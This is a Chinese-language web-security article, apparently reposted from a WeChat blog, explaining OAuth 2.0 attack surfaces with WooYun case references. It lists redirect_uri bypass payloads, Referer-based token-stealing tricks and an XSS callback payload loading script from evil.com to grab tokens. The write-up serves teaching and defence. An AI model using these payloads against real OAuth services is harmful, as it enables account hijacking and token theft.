OAuth 2.0 攻击面与案例

如文中链接无法打开或出现排版错误,请点击查看原文

OAuth流程

本文以两种广泛使用的方案为标准展开.
如对流程不了解,请先移步学习: 理解OAuth 2.0

Authorization Code

• response_type = code

• redirect_uri

• scope

• client_id

• state

Implicit

• response_type = token

• redirect_uri

• scope

• client_id

• state

  
  

攻击面

• CSRF导致绑定劫持

• redirect_uri绕过导致授权劫持

• scope越权访问

绑定劫持

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式).认证成功后用户的帐号会同攻击者的帐号绑定到一起。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.除此方法外也可使用传统的CSRF防御方案.

案例: 人人网-百度OAuth 2.0 redirect_uir CSRF 漏洞

授权劫持

根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持.

正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙:

• 未验证的情况,可以直接跳出外域.案例: 土豆网某处认证缺陷可劫持oauth_token

• auth.app.com.evil.com

• evil.com?auth.app.com

• [email protected] 案例:腾讯OAuth平台 redirect_uri 过滤不严可能导致用户信息遭窃取（二）

• [email protected] 案例:绕过网易oauth认证的redirect_uri限制劫持帐号token

• [email protected] 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取（四）

• evil.comauth.app.com

• evil.com:auth.app.com

• evil.com.auth.app.com 案例:腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取

• evil.com:@auth.app.com 案例:新浪微博OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取

• 宽字符绕过 案例: 腾讯OAuth平台redirect_uri过滤不严可能导致用户信息遭窃取（三）

• 对回调地址验证了主域为app.com,但其子域evil.app.com可被任意用户注册使用.案例: 新浪微博部分App Oauth2漏洞

• 利用可信域的url跳转从referer偷取token如果网站存在一个任意url跳转漏洞,可利用该漏洞构造以下向量

  redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

  认证服务器将凭证通过GET方法发送到redirect.php,这时redirect.php执行跳转,访问http://evil.com,攻击者为evil.com记录日志,并从请求头中的referer字段提取出该凭证,即可通过该凭证进行授权登录.

• 利用跨域请求从referer偷取token在我们不能绕过redirect_uri的判断规则时,我们可以使利用跨域请求从referer中偷取token.

  
  

  例1 redirect_uri限制为app.com,然而app.com/article/1.html中允许用户发表文章,在文章中嵌入来自evil.com的外部图片.这时我们可以让redirect_uri指向该文章app.com/article/1.html,当该文章被访问时,会自动获取 evil.com/test.jpg ,这时攻击者即可从请求头的referer拿到token

  
  

  例2 利用XSS实现跨域

  redirect_uri = http://app.com/ajax/cat.html?callback=<script src="
  http://evil.com?getToken.php"></script>

越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致.

案例: 从“黑掉Github”学Web安全开发

辅助验证脚本

一个简易服务器,会记录来访者的请求头.
1. python picserver.py [可选端口号]
2. 打开浏览器访问图片或页面地址
3. 查看日志
4. 清除日志

效果:

参考

• 理解OAuth 2.0 – 阮一峰

• 从“黑掉Github”学Web安全开发 – 陈皓

• 知乎网站安全渗透测试报告 – CplusHua

• 利用OAuth劫持用户身份(Kcon 2014) – 蓝色di雪球

• 乌云已公开漏洞

原文始发于微信公众号（乐枕迭代日志）：OAuth 2.0 攻击面与案例